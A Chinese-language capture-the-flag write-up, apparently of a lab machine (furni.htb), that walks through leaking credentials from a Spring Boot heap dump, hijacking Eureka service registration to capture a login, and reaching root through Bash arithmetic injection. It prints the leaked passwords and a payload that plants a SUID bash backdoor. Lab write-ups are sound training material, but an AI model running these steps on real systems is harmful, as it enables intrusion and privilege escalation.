侦察
Nmap扫描发现三个开放端口:
- SSH (22)
- HTTP (80) - 重定向到furni.htb
- HTTP (8761) - 需要基本认证
网站分析 - TCP 80
家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump
堆转储端点。
获取oscar190用户Shell
堆转储分析
下载堆转储文件并使用多种工具分析:
- VisualVM:图形化分析堆转储
- JDumpSpider:自动化提取敏感信息
发现关键凭证:
- 数据库连接字符串:
jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
- Eureka服务认证:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
SSH访问
使用发现的凭证成功SSH登录:
bash
ssh oscar190@furni.htb
密码:0sc@r190_S0l!dP@sswd
获取miranda-wise用户Shell
系统枚举
发现多个Spring Boot应用:
- cloud-gateway [TCP 8080]
- User Management [TCP 8081]
- Furni website [TCP 8082]
- Eureka server [TCP 8761]
Spring Cloud Gateway劫持
利用Eureka服务注册机制:
- 注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP
- 删除合法服务实例
- 拦截miranda-wise的登录请求
捕获到凭证:IL!veT0Be&BeT0L0ve
SSH访问miranda-wise
bash
ssh miranda-wise@furni.htb
密码:IL!veT0Be&BeT0L0ve
获取root权限
漏洞分析
发现定时任务执行的/opt/log_analyse.sh
脚本存在Bash算术注入漏洞:
bash
analyze_http_statuses() {
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
# 漏洞:code变量直接用于算术比较
if [[ "$existing_code" -eq "$code" ]]; then
# ...
fi
done
}
漏洞利用
利用Bash算术表达式注入:
bash
echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log
创建SUID bash后门并获取root shell:
bash
/tmp/0xdf -p
总结
本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。